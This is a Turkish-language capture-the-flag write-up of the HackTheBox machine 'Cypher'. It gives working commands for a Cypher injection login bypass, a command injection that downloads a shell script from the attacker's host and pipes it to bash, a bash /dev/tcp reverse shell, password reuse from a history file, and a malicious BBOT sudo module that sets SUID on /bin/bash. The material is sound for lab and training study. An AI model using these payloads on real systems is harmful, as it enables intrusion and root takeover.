HackTheBox
HTB Machine: Cypher
January 2, 2026
Giriş
Bu yazıda HackTheBox platformundaki “Cypher” isimli orta seviye Linux makinesinin çözümünü adım adım anlatacağım. Bu makine beni gerçekten zorladı ama aynı zamanda çok şey öğretti. Neo4j veritabanı [1], Cypher injection [1], Java reverse engineering ve BBOT privilege escalation [2] gibi konularda pratik yapma fırsatı buldum.
Makine hakkında kısa bilgi vermek gerekirse: Giriş noktası olarak bir web uygulamasındaki Cypher injection zafiyeti var. Bu zafiyeti kullanarak authentication bypass yapıyoruz. Sonrasında fuzzing ile bir JAR dosyası bulup içindeki command injection zafiyetini keşfediyoruz. Son olarak da BBOT aracının custom module özelliğini kullanarak root yetkisi elde ediyoruz.
Figure 1: Cypher makinesinin tam saldırı zinciri. İlk aşamada web uygulamasındaki Cypher injection zafiyetini kullanarak authentication bypass yapıyoruz. Bu bize Neo4j veritabanına erişim sağlıyor. İkinci aşamada, custom APOC extension’daki command injection zafiyetini kullanarak neo4j kullanıcısı olarak shell alıyoruz. Üçünce aşamada, history dosyalarında bulduğumuz kimlik bilgileriyle (password reuse) graphasm kullanıcısına lateral movement yapıyoruz. Son aşamada ise BBOT aracının custom module özelliğini kötüye kullanarak bash’e SUID biti ekleyip root yetkisi elde ediyoruz. Her ok bir sonraki saldırı vektörünü temsil ediyor.
Keşif Aşaması
Port Taraması
Her pentest işine başladığımda ilk yaptığım şey nmap taraması. Hedef sistemde hangi portların açık olduğunu ve hangi servislerin çalıştığını öğrenmek gerekiyor.
nmap -p- -sV -oN cypher_full 10.129.231.244
Tarama sonuçları:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.8
80/tcp open http nginx 1.24.0 (Ubuntu)
İki port açık: SSH ve HTTP. Neo4j veritabanının [1] standart portları olan 7474 ve 7687 dışarıya açık değil. Bu demek oluyor ki Neo4j’e erişim web uygulaması üzerinden gerçekleşecek. İlginç bir yapı.
Web Uygulaması Keşfi
Tarayıcıdan IP adresine gittiğimde direkt olarak cypher.htb adresine yönlendirme yapıldığını fark ettim. Bu klasik bir virtual host durumu. /etc/hosts dosyasına ekleme yapmam gerekti:
echo "10.129.231.244 cypher.htb" | sudo tee -a /etc/hosts
Hostname’i ekledikten sonra siteye erişebildim. “GRAPH ASM” isimli bir uygulama karşıma çıktı. İsimden bile Neo4j [1] ile ilgili olduğu anlaşılıyor: graph database kullanıyorlar.
Dizin Taraması
Web uygulamasında hangi sayfaların ve endpoint’lerin mevcut olduğunu bulmak için ffuf kullandım:
ffuf -u http://cypher.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,301,302 -fs 154 | tee ffuf_cypher.txt
Sonuçlar oldukça ilginçti:
| Endpoint | Status | Açıklama |
|---|---|---|
| /login | 200 | Giriş sayfası - injection noktası |
| /about | 200 | Hakkında sayfası |
| /index | 200 | Ana sayfa |
| /testing | 301 | Yönlendirme var - araştırılmalı |
/testing dizini dikkatimi çekti. 301 kodu yönlendirme anlamına geliyor ve genellikle böyle dizinlerde ilginç şeyler bulunur.
JAR Dosyasının Keşfi
/testing/ dizinine gittiğimde directory listing açıktı ve içinde custom-apoc-extension-1.0-SNAPSHOT.jar dosyası vardı. APOC [3], Neo4j için yazılmış bir extension kütüphanesi. Custom bir APOC extension’ı? Bu kesinlikle incelenmeli.
Dosyayı indirdim:
wget http://cypher.htb/testing/custom-apoc-extension-1.0-SNAPSHOT.jar
JAR dosyası aslında bir ZIP arşivi. İçini açıp class dosyalarına baktım:
unzip custom-apoc-extension-1.0-SNAPSHOT.jar -d apoc_extracted
find apoc_extracted -name "*.class"
CustomFunctions.class ve HelloWorldProcedure.class dosyaları vardı. strings komutuyla hızlıca ne içerdiğine baktım:
strings CustomFunctions.class | grep -iE "exec|runtime|process|command|bash|sh"
Çıktı:
/bin/sh
java/lang/Runtime
getRuntime
exec
command
process
Bu çıktı bana çok şey söylüyordu: Bu extension, sistem komutları çalıştırabiliyor! Runtime.getRuntime().exec() kullanarak shell komutu execute ediyor. Eğer bu fonksiyonu çağırabilir ve parametresini kontrol edebilirsem, command injection yapabilirim.
Initial Access - Cypher Injection
Login Formunun Analizi
/login sayfasında basit bir giriş formu vardı. Burp Suite ile formu intercept ettim ve isteğin POST /api/auth endpoint’ine JSON formatında gittiğini gördüm:
{"username":"admin","password":"admin"}
Injection Testi
Cypher, Neo4j’in query dili [1]. SQL’e benziyor ama graph veritabanları için tasarlanmış. Cypher injection denemek için username alanına tek tırnak koydum:
curl -X POST http://cypher.htb/api/auth \
-H "Content-Type: application/json" \
-d '{"username":"test'\'' OR 1=1//","password":"x"}'
Bingo! Hata mesajı bana query’nin tam yapısını gösterdi:
MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'test' OR 1=1//' return h.value as hash
Şimdi query yapısını biliyorum:
USERnode’u veSHA1node’u arasındaSECRETilişkisi var- Kullanıcı adı
u.namealanında - Şifre hash’i
h.valuealanında döndürülüyor
Figure 2: Neo4j [1] graph veritabanının iç yapısı. SQL veritabanlarından farklı olarak, veriler düğümler (nodes) ve ilişkiler (relationships) şeklinde saklanıyor. Bu diyagramda USER düğümü ile SHA1 düğümü arasındaki SECRET ilişkisini görüyoruz. Kullanıcının şifre hash’i ayrı bir düğümde tutuluyor ve aralarında bir ilişki var. Authentication sırasında uygulama, kullanıcı adına göre MATCH komutuyla bu düğümleri arıyor ve hash’i geri döndürüyor. Bu yapı injection saldırılarına açık çünkü kullanıcı girdisi direkt olarak MATCH query’sine ekleniyor.
Authentication Bypass
Uygulama şöyle çalışıyor: Kullanıcı adına göre hash’i çekiyor, sonra bizim girdiğimiz şifrenin hash’iyle karşılaştırıyor. O zaman ben kendi belirlediğim bir hash döndürürsem ve şifreyi de ona göre ayarlarsam giriş yapabilirim!
SHA1(“x”) = 11f6ad8ec52a2984abaafd7c3b516503785c2072
Figure 3: Cypher injection’ın anatomisi. Üstte normal bir authentication query’si görüyoruz: kullanıcı adı ‘admin’ olarak aranıyor ve ilgili hash döndürülüyor. Altta ise bizim inject ettiğimiz query var. ‘OR 1=1’ ifadesiyle WHERE koşulunu her zaman doğru yapıp, WITH ifadesiyle query’yi bölüyoruz. Ardından RETURN ile veritabanından gelen gerçek hash yerine kendimiz belirlediğimiz bir hash değerini döndürüyoruz. Uygulama bu sahte hash’i bizim girdiğimiz şifrenin hash’iyle karşılaştırıyor, ve tabii ki eşleşiyor çünkü her ikisini de biz kontrol ediyoruz. SQL injection’daki ‘OR 1=1’ mantığının Cypher versiyonu diyebiliriz.
Payload’ım:
curl -X POST http://cypher.htb/api/auth \
-H "Content-Type: application/json" \
-d "{\"username\":\"' OR 1=1 WITH 1 as a RETURN '11f6ad8ec52a2984abaafd7c3b516503785c2072' as hash//\",\"password\":\"x\"}"
Cevap: ok
Giriş başarılı! JWT token aldım ve sisteme authentication bypass ile giriş yapmış oldum.
Command Injection ve Reverse Shell
Demo Sayfasının Keşfi
Giriş yaptıktan sonra /demo sayfasına eriştim. Burası Cypher query çalıştırabileceğim bir arayüz sunuyordu. Sayfa kaynak kodunda şu satır dikkatimi çekti:
url: `/api/cypher?query=${searchTerm}`
Ayrıca dropdown menüde şu query vardı:
MATCH (n:DNS_NAME) WHERE n.scope_distance = 0 CALL custom.getUrlStatusCode(n.data) YIELD statusCode RETURN n.data, statusCode
custom.getUrlStatusCode - bu JAR dosyasında gördüğüm fonksiyon! Ve URL alıp status code döndürüyor. Custom APOC extension’larında [3] bu tür fonksiyonlar tanımlanabiliyor. Muhtemelen içeride curl veya wget kullanıyordur.
Outbound Connectivity Testi
Önce sunucudan dışarı çıkış yapılabilir mi test ettim. Kendi makinemde listener başlattım:
nc -lvnp 9001
Sonra Cypher query ile fonksiyonu çağırdım:
curl -b cookies.txt "http://cypher.htb/api/cypher?query=CALL%20custom.getUrlStatusCode('http://10.10.15.248:9001')%20YIELD%20statusCode%20RETURN%20statusCode"
Listener’ımda bağlantı geldi:
connect to [10.10.15.248] from (UNKNOWN) [10.129.231.244] 50234
GET / HTTP/1.1
Host: 10.10.15.248:9001
User-Agent: curl/8.5.0
Sunucu curl kullanıyor ve dışarıya bağlantı kurabiliyor!
Reverse Shell Alma
Şimdi command injection deneyeceğim. Fonksiyon muhtemelen URL’i direkt curl komutuna veriyor. Shell script hazırladım:
echo 'bash -i >& /dev/tcp/10.10.15.248/9001 0>&1' > shell.sh
python3 -m http.server 8080
Başka terminalde listener:
nc -lvnp 9001
Ve injection payload’ı:
curl -b cookies.txt "http://cypher.htb/api/cypher?query=CALL%20custom.getUrlStatusCode('http://x%3Bcurl%20http://10.10.15.248:8080/shell.sh%7Cbash')%20YIELD%20statusCode%20RETURN%20statusCode"
Shell geldi! neo4j kullanıcısı olarak sisteme giriş yaptım:
neo4j@cypher:/$ whoami
neo4j
Lateral Movement - neo4j’den graphasm’a
History Dosyalarının İncelenmesi
Makine açıklamasında “history file contains credentials” diyordu. Hemen history dosyalarına baktım:
cat ~/.bash_history
İçinde altın değerinde bir satır vardı:
neo4j-admin dbms set-initial-password cU4btyib.20xtCMCXkBmerhK
Bu Neo4j [1] veritabanının şifresi. Belki başka yerde de kullanılmıştır? Sistemdeki kullanıcılara baktım:
cat /etc/passwd | grep -E "sh$"
graphasm kullanıcısı var. Şifreyi denedim:
su graphasm
Password: cU4btyib.20xtCMCXkBmerhK
Çalıştı! Password reuse zafiyeti. User flag’i aldım:
cat ~/user.txt
d50971f9cee992a815f33ed7f2ee35f6
Figure 4: Privilege escalation merdiveni [2]: her basamak farklı bir zafiyet türünü temsil ediyor. En altta anonim kullanıcı olarak başlıyoruz, hiçbir kimlik bilgisi yok. İlk basamak: Cypher injection ile authentication bypass yapıp sisteme giriş yapıyoruz. İkinci basamak: Custom APOC extension’daki command injection zafiyetini kullanarak neo4j kullanıcısı olarak shell alıyoruz. Üçüncü basamak: History dosyalarında bulduğumuz şifre ile graphasm kullanıcısına geçiyoruz (credential reuse zafiyeti). Son basamak: BBOT aracının sudo yetkisini ve custom module özelliğini kullanarak /bin/bash’e SUID biti ekliyoruz ve root oluyoruz. Her geçiş farklı bir saldırı tekniği gerektiriyor: web exploitation, command injection, OSINT/credential hunting ve sudo misconfiguration.
Privilege Escalation - BBOT Custom Module
Sudo Yetkilerinin Kontrolü
sudo -l
Çıktı:
User graphasm may run the following commands on cypher:
(ALL) NOPASSWD: /usr/local/bin/bbot
BBOT’u [2] root olarak çalıştırabiliyorum! BBOT, Black Lantern Security’nin geliştirdiği bir OSINT aracı. Python tabanlı ve modüler bir yapısı var.
BBOT Modül Sistemi
BBOT’un [2] nasıl çalıştığını anlamam gerekiyordu. Help sayfasına baktım:
sudo /usr/local/bin/bbot --help
Custom preset dosyaları yükleyebiliyor. Ayrıca module_dirs parametresiyle custom modül dizini belirtebiliyor.
Malicious Modül Yazımı
BBOT modülleri [2] Python sınıfları. Bir modül yazıp setup() fonksiyonunda sistem komutu çalıştırabilirim. Bu komut root yetkisiyle çalışacak!
Önce modül dizinini oluşturdum:
mkdir -p ~/.bbot/modules
Sonra zararlı modülü yazdım:
cat > ~/.bbot/modules/pwn.py << 'EOF'
from bbot.modules.base import BaseModule
import os
class pwn(BaseModule):
watched_events = ["SCAN"]
produced_events = ["FINDING"]
flags = ["passive", "safe"]
async def setup(self):
os.system("chmod +s /bin/bash")
return True
async def handle_event(self, event):
pass
EOF
Bu modül ne yapıyor? setup() fonksiyonu modül yüklenirken çalışıyor ve /bin/bash‘e SUID bit ekliyor. SUID bit sayesinde bash’i çalıştıran herkes root yetkisi alır.
Figure 5: BBOT [2] privilege escalation exploit’inin detaylı mekanizması. Sol tarafta pwn_preset.yml dosyası var: bu BBOT’a hangi modülleri ve hangi dizinlerden yükleyeceğini söylüyor. module_dirs parametresiyle kendi home dizinimizdeki .bbot/modules klasörünü işaret ediyoruz. Sağ tarafta ise zararlı pwn.py modülümüz var. Bu modül BBOT’un BaseModule sınıfından türetilmiş ve setup() fonksiyonunda os.system(“chmod +s /bin/bash”) komutunu çalıştırıyor. BBOT root yetkisiyle çalıştığı için bu komut da root olarak execute ediliyor ve /bin/bash’e SUID biti ekleniyor. Ardından /bin/bash -p komutuyla SUID shell açıp root oluyoruz. Bu teknik, sudo yetkisi olan modüler uygulamalarda (plugin/module sistemi olanlar) yaygın bir privilege escalation yöntemi.
Preset Dosyası ve Exploit
Custom modülümü yüklemesi için bir preset dosyası oluşturdum:
cat > ~/pwn_preset.yml << 'EOF'
description: pwn preset
module_dirs:
- /home/graphasm/.bbot/modules
modules:
- pwn
targets:
- localhost
EOF
Ve çalıştırdım:
sudo /usr/local/bin/bbot -p /home/graphasm/pwn_preset.yml -y
Çıktıda şu satırı gördüm:
[SUCC] Setup succeeded for 13/13 modules.
Modülüm yüklendi ve setup fonksiyonu çalıştı!
Root Shell
ls -la /bin/bash
+-rwsr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash
SUID bit eklendi (rws). Artık root olabilirim:
/bin/bash -p
whoami
root
Root flag:
cat /root/root.txt
Özet ve Çıkarımlar
Bu makine birçok farklı teknik gerektirdi:
- Enumeration: Hostname keşfi, dizin taraması, JAR dosyası bulunması
- Code Review: JAR dosyasının decompile edilip command injection zafiyetinin tespit edilmesi
- Cypher Injection: Neo4j veritabanına SQL injection benzeri saldırı
- Command Injection: Custom APOC fonksiyonundaki zafiyet üzerinden RCE
- Credential Hunting: History dosyalarında şifre bulunması
- Privilege Escalation: BBOT’un custom module özelliğinin kötüye kullanılması
Öğrenilen Dersler
- Neo4j güvenliği [1]: Cypher query’leri de SQL gibi injection’a açık olabilir. Parametrized query kullanmak şart.
- Custom extension’lar [3]: APOC gibi extension’larda system command çalıştıran fonksiyonlar büyük risk oluşturuyor.
- Password reuse: Bir yerde kullanılan şifre başka yerde de denenebilir.
- Sudo misconfiguration [2]: Modüler araçlara sudo yetkisi vermek, custom modül yazılarak exploit edilebilir.
Bu makine gerçek dünya senaryolarına çok yakın. Özellikle graph veritabanları ve OSINT araçları gibi niche teknolojilerdeki zafiyetleri göstermesi açısından öğretici oldu.
Referanslar
[3] APOC Library
Yorumlar